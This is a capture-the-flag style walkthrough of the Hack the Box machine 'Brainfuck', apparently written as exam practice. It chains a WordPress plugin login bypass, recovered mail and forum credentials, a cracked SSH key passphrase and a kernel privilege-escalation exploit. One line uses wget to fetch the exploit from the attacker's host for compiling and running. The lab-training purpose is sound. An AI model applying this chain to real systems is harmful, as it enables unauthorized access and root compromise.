Hack the Box: Brainfuck Write-up
By: Dylan Reuter
Tags: Oscp, Hackthebox, Hacking, Ecppt

As part of my road to the eCPPT exam. I am doing a series of write-ups on OSCP like boxes as suggested by @TJ_NULL on Twitter.

Brainfuck is a fun machine involving exploiting a WordPress vulnerability to get access to the admin panel, discovering SMTP credentials to log into a mail server and find credentials to access a secret forum. Then cracking an RSA key to gain access to the server, and finally exploiting a kernel vulnerability to gain root privileges. Let’s get started.

First things first we’ll start off with an Nmap scan to discover open ports and gather information on the running services.

nmap -sC -sV -oA nmap_scan 10.129.67.46

(Note, I am using a private instance of Hack the Box so the machine IP will likely be different than yours)

The scan results show us that port 22 is open which is SSH, port 443 which is an https web server, and ports 25, 110, and 143 which are commonly used for a mail server.

Another important piece of info we get from the scan are these two domains:

Putting these two domains into /etc/hosts we are able to navigate to them in the browser and see these two landing pages.

www.brainfuck.htb

sup3rs3cret.brainfuck.htb

For now we will focus on the former. Poking around the site a little shows a potential admin user orestis.

Running wpscan with the enumerate users flag discovered two users, administrator and admin.

Another way we can enumerate potential users is through the mail server. We can connect to it via Netcat on port 25 and use the VRFY command (if allowed by the mail server) and we will get a 252 code back if successful, otherwise a 550 error code.

This further verifies the user Orestis we found on the brainfuck.htb page. Even though admin returned with a 550, it could mean that another user (like orestis) is our admin user.

wpscan also shows a list of potential vulnerabilities, a lot of which were around the plugin WP Support Plus Responsive Ticket System:

Searching for this plugin in searchsploit shows the following vulnerabilities:

The privilege escalation vulnerability shows us that we are able to login as another user because of WordPress’s mishandling of wp_set_auth_cookie().

Now we can copy the html code and put it into a file login.html.

From the enumeration we have done, we know that there is a user Orestis and that he is an admin user. We will change the username value in our form to “admin” and the email to “orestis@brainfuck.htb”.

Now we will serve it up with python simple http server.

python3 -m http.server 8000

Now we navigate to localhost:8000/login.html and submit the login form.

And Voila we are logged in as the Admin user Orestis!

On the admin dashboard, there is a SMTP Settings page that will show us the settings we need to login to the mail server.

Now forgive me…I am doing this write up after the fact and forgot to take a screenshot of this page.

But the credentials we gather here are a username of orestis and password kHGuERB29DNiNE.

The password is not in cleartext on the form, so you can get the value by either opening dev tools and changing the type on the password input tag from “password” to “text”, or just copy and paste the password somewhere and you will get the cleartext.

Taking these credentials we can open up a mail client like Thunderbird and set up the account. We then get inbox of Orestis!

Here we get credentials to login to the secret forum we discovered earlier.

Once we login to the forum as Orestis, we can see the following threads:

The SSH Access thread shows this nice little exchange between Orestis and the admin.

From this exchange we gather two pieces of information. Orestis is rude AF, and SSH access to the server uses key-based authentication only.

All the communication in the other thread, Key, is encrypted therefore we must decrypt it before we can read anything.

The big key here is in Orestis’ signature from the first thread.

Orestis — Hacking for fun and profit

We see the same looking signature at the end of each message on the Key thread, but it changes every time. Rumkin Cipher Tools is what we will use to decrypt the message.

The message uses a one time pad. We will focus on the signature because that’s what we know and we will take the key we get from it to decrypt everything else. We go letter by letter and put the encrypted text as the message and the clear text we know as the pad.

After going through the whole message, we discover that the key is “fuckmybrain”.

Now we take this passphrase and use the Keyed Vigenere Cipher to decode the url to download the RSA private key.

I decrypted the whole conversation between Orestis and the admin and another piece of useful information is that the key is encrypted and will require a passphrase to decrypt. Orestis states that he will brute force it. So that’s what we’ll do too.

Encrypted private key

We will use John the Ripper to brute force the key. First we run it through ssh2john to get it in a John the Ripper friendly format and we will run it against the rockyou.txt wordlist.

/usr/share/john/ssh2john.py id_rsa > john_rsa

john — wordlist=/usr/share/wordlist/rockyou.txt john_rsa

We crack it successfully and see that the password is 3poulakia!

Next, I use openssl to decrypt the key, change permissions, and login to the server as orestis.

openssl rsa -in id_rsa -out id_rsa_d

chmod 600 id_rsa_d

ssh -i id_rsa_d orestis@brainfuck.htb

There are 3 files in Orestis’ home dir that are interesting: debug.txt, encrypt.sage, and output.txt

You can get the root flag through this avenue by decrypting RSA with p, q, and e which are all present in debug.txt. You can read more about that here. However during further enumeration, I discovered a privilege escalation vulnerability in the kernel version so that’s what I’ll cover.

Running uname -a shows this info about the OS.

Searching searchsploit for 4.4.0 we get the following list of exploits, one of them stands out in particular.

Our kernel version is 4.4.0–75, so this exploit should work for us since it is below 4.4.0–116.

You can view more detail about this exploit on exploit db.

We will copy this onto the brainfuck machine, compile it and run it and we should get root.

First we’ll copy it from the searchsploit directory to our current working directory.

cp /usr/share/exploitdb/exploits/linux/local/44298.c ./privesc.c

Now we can copy it over to the brainfuck machine and put it into the /tmp folder. Best way to do this is to start a http server on your attacking machine and fetch the file using curl or wget from the brainfuck machine.

cd /tmp && wget http://<your_ip>:8000/privesc.c

Once it’s copied over, we can compile it using gcc.

gcc privesc.c -o privesc

Once we run it, we will become root.